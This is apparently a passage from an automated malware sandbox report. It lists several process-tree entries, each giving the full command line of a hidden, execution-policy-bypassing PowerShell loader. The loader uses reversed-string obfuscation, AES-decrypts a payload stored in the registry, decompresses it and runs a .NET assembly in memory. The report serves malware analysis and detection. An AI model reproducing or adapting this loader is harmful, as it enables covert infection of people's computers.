$yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        7⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious use of SetThreadContext
        
        PID:7112
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1896).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        7⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious use of SetThreadContext
        
        PID:6308
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1896).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        7⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious use of SetThreadContext
        
        PID:6656
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1896).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join 